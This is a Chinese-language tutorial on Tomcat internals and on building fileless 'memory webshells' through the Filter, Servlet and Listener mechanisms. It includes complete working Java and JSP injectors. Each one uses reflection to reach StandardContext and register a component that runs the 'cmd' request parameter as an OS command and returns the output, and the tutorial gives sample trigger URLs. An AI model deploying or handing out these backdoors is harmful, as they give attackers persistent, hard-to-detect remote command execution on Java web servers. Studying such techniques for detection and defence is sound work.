Java安全-Tomcat内存马学习
Tomcat
Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,它早期的名称为catalina,后来由Apache、Sun 和其他一些公司及个人共同开发而成,并更名为Tomcat。Tomcat 是一个小型的轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选,因为Tomcat 技术先进、性能稳定,成为目前比较流行的Web 应用服务器。Tomcat是应用(java)服务器,它只是一个servlet容器,是Apache的扩展,但它是独立运行的。
从宏观上来看,Tomcat其实是Web服务器和Servlet容器的结合体。
Web服务器:通俗来讲就是将某台主机的资源文件映射成URL供给外界访问。(比如访问某台电脑上的图片文件)
Servlet容器:顾名思义就是存放Servlet对象的东西,Servlet主要作用是处理URL请求。(接受请求、处理请求、响应请求)
|
Tomcat由四大容器组成,分别是Engine、Host、Context、Wrapper。这四个组件是负责关系,存在包含关系。只包含一个引擎(Engine):
Engine(引擎):表示可运行的Catalina的servlet引擎实例,并且包含了servlet容器的核心功能。在一个服务中只能有一个引擎。同时,作为一个真正的容器,Engine元素之下可以包含一个或多个虚拟主机。它主要功能是将传入请求委托给适当的虚拟主机处理。如果根据名称没有找到可处理的虚拟主机,那么将根据默认的Host来判断该由哪个虚拟主机处理。
Host (虚拟主机):作用就是运行多个应用,它负责安装和展开这些应用,并且标识这个应用以便能够区分它们。它的子容器通常是 Context。一个虚拟主机下都可以部署一个或者多个Web App,每个Web App对应于一个Context,当Host获得一个请求时,将把该请求匹配到某个Context上,然后把该请求交给该Context来处理。主机组件类似于Apache中的虚拟主机,但在Tomcat中只支持基于FQDN(完全合格的主机名)的“虚拟主机”。Host主要用来解析web.xml。
Context(上下文):代表 Servlet 的 Context,它具备了 Servlet 运行的基本环境,它表示Web应用程序本身。Context 最重要的功能就是管理它里面的 Servlet 实例,一个Context代表一个Web应用,一个Web应用由一个或者多个Servlet实例组成。
Wrapper(包装器):代表一个 Servlet,它负责管理一个 Servlet,包括的 Servlet 的装载、初始化、执行以及资源回收。Wrapper 是最底层的容器,它没有子容器了,所以调用它的 addChild 将会报错。
|
看一个Tomcat的基本结构:
Webapps 对应的就是 Host 组件,ROOT 和 example 对应的就是 Context 组件(Web应用),每个Context内包含Wrapper,Wrapper 负责管理容器内的 Servlet:
根据Tomcat文档可知:
Engine,实现类为 org.apache.catalina.core.StandardEngine Host,实现类为 org.apache.catalina.core.StandardHost Context,实现类为 org.apache.catalina.core.StandardContext Wrapper,实现类为 org.apache.catalina.core.StandardWrapper
|
值得一提的是,在 org.apache.catalina.core.StandardContext#startInternal()中表明了Tomcat启动加载的顺序:Listener -> Filter -> Servlet
protected synchronized void startInternal() throws LifecycleException { ...... if(ok && !this.listenerStart()) { log.error(sm.getString("standardContext.listenerFail")); ok = false; } if(ok) { this.checkConstraintsForUncoveredMethods(this.findConstraints()); } try { Manager manager = this.getManager(); if(manager instanceof Lifecycle) { ((Lifecycle)manager).start(); } } catch (Exception var18) { log.error(sm.getString("standardContext.managerFail"), var18); ok = false; } if(ok && !this.filterStart()) { log.error(sm.getString("standardContext.filterFail")); ok = false; } if(ok && !this.loadOnStartup(this.findChildren())) { log.error(sm.getString("standardContext.servletFail")); ok = false; } super.threadStart(); ......
|
Wrapper代表(负责管理)一个Servlet,而Context中包含了一个或多个Warpper(即Servlet)。
Filter内存马
首先我们需要配置tomcat,并且创建webapp和web.xml
创建Filter测试类,用于我们调试
package com.sec.filter;
import javax.servlet.*; import java.io.IOException;
public class FilterDemo implements Filter{ public void init(FilterConfig filterConfig) throws ServletException { }
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException, IOException { Runtime.getRuntime().exec("calc"); filterChain.doFilter(servletRequest,servletResponse); }
public void destroy() { } }
|
web.xml添加上Filter的配置
<?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" version="3.1"> <filter> <filter-name>FilterDemo</filter-name> <filter-class>com.sec.filter.FilterDemo</filter-class> </filter> <filter-mapping> <filter-name>FilterDemo</filter-name> <url-pattern>/*</url-pattern> </filter-mapping>
</web-app>
|
后面这一步很重要,将tomcat下的lib文件夹jar包导入
当我们运行tomcat后,会直接弹出计算器。在实战环境下,你不可能写一个Filter对象然后又放到对方的代码中,这样子不就早getshell了
对于内存马,我们是需要找到一个注入点,动态的在内存中创建一个Filter对象,这样子的话就是一个真正的内存马
ServletContext
当我们启动web的时候,会产生一个ServletContext为接口的对象,这个对象全局唯一,而且工程内部的所有servlet都共享这个对象。所以叫全局应用程序共享对象
在web应用中,获取的ServletContext实际上是ApplicationContextFacade的对象,对ApplicationContext进行了封装,而ApplicationContext实例中又包含了StandardContext实例,所以说我们在tomcat中拿到StandardContext则是去获取ApplicationContextFacade这个对象
使用request.getServletContext()函数会得ServletContext,它本质是ApplicationContextFacade类的对象,任何人都可以使用request.getServletContext()获取servletcontext
这里可以看到ApplicationContextFacade的context属性是一个ApplicationContext
ServletContext
其实是一个接口,这个接口的实现是ApplicationContext
类。StandardContext对象其实也就是ApplicationContext对象
ApplicationContext中有一个私有变量叫做StandardContext,StandardContext类的对象可以动态创建servlet和servlet的映射,也可以通过修改参数来添加filter到filterchain。
如果能通过反射调用StandardContext对象中的函数,那么就能制造filter与servlet类型的内存马
我们可以下断点到internalDoFilter类上,为什么我们要断在这呢,因为它是一个调用Filter对象的一个调度类,就是专门用来调用所有实现的Filter对象的doFilter方法,而其中的internalDoFilter就是去调用我们Filter对象中实现的doFilter方法的一个手段
我们可以往上看下谁调用到了internalDoFilter方法
我们往上看可以看到有个工厂类调用到了createFilterChain
跟进createFilterChain方法,获取到StandardContext对象
通过这个对象的findFilterMaps方法来获得所有需要调用的Filter对象
接着又会开始遍历这个FilterMap数组中的每个FilterMap对象(每个FilterMap都包含了每个Filter的相关信息),每次拿到一个FilterMap对象就是通过matchDispatcher和matchFiltersURL来比较访问的路由和Filter对象的路由是否有包含关系
最后会每个Filter对象相关信息都存储到了FilterConfig对象中,然后再把FilterConfig对象放到了filterChain这个属性中,而这里的filterChain属性就是外面的这个ApplicationFilterChain对象,到这里要调用的每个Filter对象都拼装好了,全部都放入了ApplicationFilterChain对象,ApplicationFilterChain这个对象我们上面也讲过,是一个调度类,专门调用每个Filter的doFilter方法。
FilterConfig
我们知道ApplicationFilterChain这个对象的由来和它的作用,先是经过一系列的处理最后拿到了ApplicationFilterChain这个对象,这个对象中包含了每个Filter的相关配置信息,最后则开始调用其中的doFilter方法
继续来看createFilterChain方法帮我们做的事情,它实现的Filter的添加,createFilterChain这个方法返回的filterChain最终会被进行调用,那么我们如果能实现在filterChain进行插入的话,那是不是我们就成功的实现了添加自定义的Filter对象
该对象有三个重要的属性,一个是ServletContext,一个是filter,一个是filterDef
我们前面通过matchDispatcher()、matchFilterURL()方法进行匹配,匹配成功后,还需判断StandardContext.filterConfigs中,是否存在对应filter的实例。当实例不为空时通过filterchain.addfilter(Filterconfig)函数来将FilterConfig对应的filter添加到filterchain中。此时filter内存马已经添加完成
也就是意味着standardcontext中的filtermap中有我们指定的filter,且filterconfig中有我们指定的filter,那么这个filter就会被正常加载到内存。
接下来的任务就是修改FilterMap与FilterConfig的值。
filterMaps
是StandardContext对象中的数据我们可控。filterconfig
是StandardContext中的数据我们可控,filterconfig
中我们需要添加filterdef它也是我们可控的,StandardContext
是我们可以操控的。综上filter动态添加过程是我们可操控的。
private HashMap<String, ApplicationFilterConfig> filterConfigs = new HashMap();
private HashMap<String, FilterDef> filterDefs = new HashMap();
private final StandardContext.ContextFilterMaps filterMaps = new StandardContext.ContextFilterMaps();
|
成员变量:
- filterConfigs成员变量是一个HashMap对象,里面存储了filter名称与对应的ApplicationFilterConfig对象的键值对,在ApplicationFilterConfig对象中则存储了Filter实例以及该实例在web.xml中的注册信息。filter名=对应的filterconfig
- filterDefs
成员变量成员变量是一个HashMap对象,存储了filter名称与相应FilterDef的对象的键值对,而FilterDef对象则存储了Filter包括名称、描述、类名、Filter实例在内等与filter自身相关的数据。filter名=对应的filterdef
- filterMaps中的FilterMap则记录了不同filter与UrlPattern的映射关系。filter名=绑定的url
思路:
1、创建恶意的Filter
2、再获取filterConfigs
2、接着实现自定义想要注入的filter对象
4、然后为自定义对象的filter创建一个FilterDef
4、最后把 ServletContext对象 filter对象 FilterDef全部都设置到filterConfigs即可完成内存马的实现
首先我们最先使用request.getSession().getServletContext()获取到的是ApplicationContextFacade对象,ApplicationContextFacade下的context字段
反射实现代码:
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
|
也就是意味着standardcontext中的filtermap中有我们指定的filter,且filterconfig中有我们指定的filter,那么这个filter就会被正常加载到内存。
接下来的任务就是修改FilterMap与FilterConfig的值。
构造Filter内存马
构造按照着 ApplicationFilterFactory#createFilterChain
方法里的代码逻辑进行构造
package com.sec.servlet;
import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.Context; import org.apache.catalina.core.ApplicationFilterConfig; import org.apache.catalina.core.StandardContext; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap; import org.apache.catalina.core.ApplicationFilterConfig;
import javax.servlet.*; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.Map; import java.util.Scanner;
@WebServlet("/demoServlet") public class demoServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
Field Configs = null; Map filterConfigs; try { ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
String FilterName = "cmd_Filter"; Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(FilterName) == null) { Filter filter = new Filter() {
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){ InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; servletResponse.getWriter().write(output); return; } filterChain.doFilter(servletRequest,servletResponse); }
public void destroy() {
} };
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef"); Constructor declaredConstructors = FilterDef.getDeclaredConstructor(); FilterDef o = (FilterDef)declaredConstructors.newInstance(); o.setFilter(filter); o.setFilterName(FilterName); o.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(o);
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor(); FilterMap o1 = (FilterMap)declaredConstructor.newInstance();
o1.addURLPattern("/*"); o1.setFilterName(FilterName); o1.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(o1);
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig"); Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class); declaredConstructor1.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o); filterConfigs.put(FilterName,filterConfig); response.getWriter().write("Success"); } } catch (Exception e) { e.printStackTrace(); }
}
@Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { super.doPost(req, resp); } }
|
JSP马
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.Context" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="javax.servlet.*" %> <%@ page import="javax.servlet.http.HttpServletRequest" %> <%@ page import="java.io.IOException" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="java.util.Map" %> <%@ page import="java.util.Scanner" %>
<% Field Configs = null; Map filterConfigs; try { ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
String FilterName = "cmd_Filter"; Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(FilterName) == null) { Filter filter = new Filter() {
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){ InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; servletResponse.getWriter().write(output); return; } filterChain.doFilter(servletRequest,servletResponse); }
public void destroy() {
} };
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef"); Constructor declaredConstructors = FilterDef.getDeclaredConstructor(); FilterDef o = (FilterDef)declaredConstructors.newInstance(); o.setFilter(filter); o.setFilterName(FilterName); o.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(o);
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor(); FilterMap o1 = (FilterMap)declaredConstructor.newInstance();
o1.addURLPattern("/*"); o1.setFilterName(FilterName); o1.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(o1);
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig"); Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class); declaredConstructor1.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o); filterConfigs.put(FilterName,filterConfig); response.getWriter().write("Success"); } } catch (Exception e) { e.printStackTrace(); } %>
|
tomcat-filter内存马需要在tomcat7+以上才能注入成功,原因是 javax.servlet.DispatcherType
类(shell.jsp中用到)是Servlet3以后才引入的,而且在 tomcat7+才支持 Servlet3!
Servlet内存马
Tomcat其实是Web服务器和Servlet容器的结合体。
Web服务器:通俗来讲就是将某台主机的资源文件映射成URL供给外界访问。(比如访问某台电脑上的图片文件)
Servlet容器:顾名思义就是存放Servlet对象的东西,Servlet主要作用是处理URL请求。(接受请求、处理请求、响应请求)
编写一个service Demo,方便我们后面调试
package com.sec.servlet;
import javax.servlet.*; import javax.servlet.annotation.WebServlet; import java.io.IOException; import java.io.PrintWriter;
@WebServlet("/servicedemo") public class ServiceDemo implements Servlet { public void init(ServletConfig servletConfig) throws ServletException {
}
public ServletConfig getServletConfig() { return null; }
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { System.out.println("Servlet启动..."); String cmd = servletRequest.getParameter("cmd"); PrintWriter writer = servletResponse.getWriter(); writer.write(cmd); writer.flush(); writer.close(); }
public String getServletInfo() { return null; }
public void destroy() {
} }
|
这里
Servlet
Servlet接口类有五个接口,分别是init(Servlet对象初始化时调用)、getServletConfig(获取web.xml中Servlet对应的init-param属性)、service(每次处理新的请求时调用)、getServletInfo(返回Servlet的配置信息,可自定义实现)、destroy(结束时调用):
注入Servlet
Servlet 的生命周期开始于Web容器的启动时(解析加载web.xml配置的servlet对象),它就会被载入到Web容器内存中,直到Web容器停止运行或者重新装入servlet时候结束。这里也就是说,一旦Servlet被装入到Web容器之后,一般是会长久驻留在Web容器之中。
在StandardContext中提供了动态添加Servlet类的方法:
public Dynamic addServlet(String servletName, String className) { throw new UnsupportedOperationException(ContainerBase.sm.getString("noPluggabilityServletContext.notAllowed")); }
public Dynamic addServlet(String servletName, Servlet servlet) { throw new UnsupportedOperationException(ContainerBase.sm.getString("noPluggabilityServletContext.notAllowed")); }
public Dynamic addServlet(String servletName, Class<? extends Servlet> servletClass) { throw new UnsupportedOperationException(ContainerBase.sm.getString("noPluggabilityServletContext.notAllowed")); }
|
我们从前面可知,Wrapper代表(负责管理)一个Servlet,而Context中包含了一个或多个Warpper(即Servlet)。
Servlet生成与配置
首先我们就要创建一个Wapper实例,StandardContext.createWapper()获得一个Wapper对象
Context 负责管理 Wapper ,而 Wapper 又负责管理 Servlet 实例。当获取到StandardContext对象,就可以用 createWapper() 来生成一个 Wapper 对象
接下来就是配置Servlet,探究配置过程,在 org.apache.catalina.core.StandardWapper#setServletClass() 下断点,Debug运行服务
断点调试,回溯到configureStart,可以看到这边是调用了webConfig()
我们直接往下看这里调用了configureContext方法
configureContext() 中依次读取了 Filter、Listener、Servlet的配置及其映射,我们直接看 Servlet 部分:
使用context对象的createWrapper()方法创建了Wapper对象,然后设置了启动优先级LoadOnStartUp,以及servlet的Name。
接着配置了Servlet的Class
最后将创建并配置好的 Wrapper 加入到 Context 的 Child 中。通过循环遍历所有 servlets 完成了 Servlet 从配置到添加的全过程,接下来就需要添加Servlet-Mapper了(对应web.xml中的)
取出web.xml中所有配置的Servlet-Mapping,通过context.addServletMappingDecoded()将url路径和servlet类做映射。
跟进到addServletMappingDecoded()方法的StandardContext类中,发现addServletMappingDecoded()和addServletMapping()是一样的,只不过后者是不建议使用(某些低版本的Tomcat可以尝试使用)
总结下Servlet的生成和动态依次加入以下步骤:
1. 通过 context.createWapper() 创建 Wapper 对象;
2. 设置 Servlet 的 LoadOnStartUp 的值;
3. 设置 Servlet 的 Name;
4. 设置 Servlet 对应的 Class;
5. 将 Servlet 添加到 context 的 children 中;
6. 将 url 路径和 servlet 类做映射。
|
Servlet装载过程
配置好一个Servlet Demo,我们要在StandardWrapper#loadServlet()位置下断点,这边是用来加载Servlet
回溯到StandardContext#startInternal方法下,加载完Listener和Filter之后,才能装载Servlet
前面已经完成了将所有 servlet 添加到 context 的 children 中,this.findChildren()即把所有Wapper(负责管理Servlet)传入loadOnStartup()中处理,可想而知loadOnStartup()就是负责动态添加Servlet的一个函数:
首先获取Context下所有的Wapper类,并获取到每个Servlet的启动顺序,删选出 >= 0 的项加载到一个存放Wapper的list中。
每个Servlet的启动顺序在web.xml中声明:
<servlet> <servlet-name>servletDemo</servlet-name> <servlet-class>com.java.Memory.ServletDemo</servlet-class> <init-param> <param-name>contextConfigLocation</param-name> <param-value>WEB-INF/dispatcher-servlet.xml</param-value> </init-param> <load-on-startup>1</load-on-startup> </servlet> <servlet-mapping> <servlet-name>servletDemo</servlet-name> <url-pattern>/servlet</url-pattern> </servlet-mapping>
|
如果没有声明 load-on-startup 属性(默认为-1):
然后对每个wapper进行装载:
装载所有的 Servlet 之后,就会根据具体请求进行初始化、调用、销毁一系列操作:
装载:启动服务器时加载Servlet的实例
初始化:web服务器启动时或web服务器接收到请求时,或者两者之间的某个时刻启动。初始化工作有init()方法负责执行完成
调用:即每次调用Servlet的service(),从第一次到以后的多次访问,都是只是调用doGet()或doPost()方法(doGet、doPost内部实现,具体参照HttpServlet类service()的重写)
销毁:停止服务器时调用destroy()方法,销毁实例
|
构造Servlet内存马
首先写一个Servlet.jsp的恶意类,实现service方法:
<%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.catalina.Wrapper" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.BufferedInputStream" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>$Title$</title> </head> <body> <% HttpServlet httpServlet = new HttpServlet() { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { InputStream is = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream(); BufferedInputStream bis = new BufferedInputStream(is); int len; while ((len = bis.read())!=-1){ resp.getWriter().write(len); } }
@Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { super.doPost(req, resp); } };
Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext stdcontext = (StandardContext) req.getContext();
Wrapper newWrapper = stdcontext.createWrapper(); String name = httpServlet.getClass().getSimpleName(); newWrapper.setName(name); newWrapper.setLoadOnStartup(1); newWrapper.setServlet(httpServlet); newWrapper.setServletClass(httpServlet.getClass().getName()); stdcontext.addChild(newWrapper); stdcontext.addServletMappingDecoded("/demo", name); %>
|
首先我们访问下这个servlet.jsp,再访问/demo,即可执行命令
http://localhost:8080/demo?cmd=calc
|
Listener内存马
编写servlet程序
package com.sec.listen;
import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException;
@WebServlet("/listener") public class TestListener extends HttpServlet { protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { resp.getWriter().write("tomcat-listener!!"); }
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { doGet(req, resp); } }
|
编写 Listener 程序
package com.sec.listen;
import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; import javax.servlet.annotation.WebListener;
@WebListener public class ServletListener implements ServletRequestListener { public void requestDestroyed(ServletRequestEvent servletRequestEvent) { }
public void requestInitialized(ServletRequestEvent servletRequestEvent) { System.out.println("ServletListener#requestInitialized is invoked!"); } }
|
断点调试
跟进到 StandardContext#listenerStart
方法,先获取监听器然后遍历监听器进行实例化
进入findApplicationListeners方法,跟进看一下返回的是 applicationListeners
属性,其中包含我们编写的 ServletListener
遍历并实例化完监听器之后把实例化对象加入到 eventListeners
中, 然后通过 setApplicationEventListeners
方法把 eventListeners
设置到 applicationEventListenersList
中
跟进setApplicationEventListeners
方法,可以知道最终实例化出来的监听器被存储在 applicationEventListenersList
属性中
注册监听器就完成了,下面来看看是怎么调用注册的监听器的,在 requestInitialized
方法上下断点,调试启动 Tomcat 中间件
跟进到 StandardContext#fireRequestInitEvent
方法,通过 getApplicationEventListeners
方法获取到前面注册的监听器,然后循环遍历调用监听器的 requestInitialized
方法
构造Listener内存马
通过上面的分析可以知道,最后遍历调用的是 StandardContext.applicationEventListenersList 属性,所以内存马构造中需要获取到 StandardContext 类,然后获取其 applicationEventListenersList 属性,最后注入我们构造的恶意监听器到 applicationEventListenersList 属性里,构造如下:
<%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.connector.Response" %> <%@ page import="java.io.InputStream" %> <%@ page import="org.apache.catalina.connector.RequestFacade" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.Arrays" %> <%@ page import="java.util.List" %> <%@ page import="java.util.ArrayList" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% class ServletListener implements ServletRequestListener { @Override public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override public void requestInitialized(ServletRequestEvent servletRequestEvent) { try { String cmd = servletRequestEvent.getServletRequest().getParameter("cmd"); org.apache.catalina.connector.RequestFacade requestFacade = (RequestFacade) servletRequestEvent.getServletRequest(); Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request"); requestField.setAccessible(true); Request request = (Request) requestField.get(requestFacade); Response response = (Response) request.getResponse(); if (cmd != null){ InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); int i = 0; byte[] bytes = new byte[1024]; while ((i = inputStream.read(bytes)) != -1){ response.getWriter().write(new String(bytes,0,i)); response.getWriter().write("\r\n"); } } }catch (Exception e){ e.printStackTrace(); }
} } %>
<% ServletContext servletContext = request.getServletContext(); Field applicationContextField = servletContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); Object[] applicationEventListeners = standardContext.getApplicationEventListeners(); List<Object> objects = Arrays.asList(applicationEventListeners); ArrayList arrayList = new ArrayList(objects); arrayList.add(new ServletListener()); standardContext.setApplicationEventListeners(arrayList.toArray()); response.getWriter().write("Inject Success by listener!"); %>
|
访问该页面,成功弹出计算器
http://localhost:8080/listener.jsp?cmd=calc
|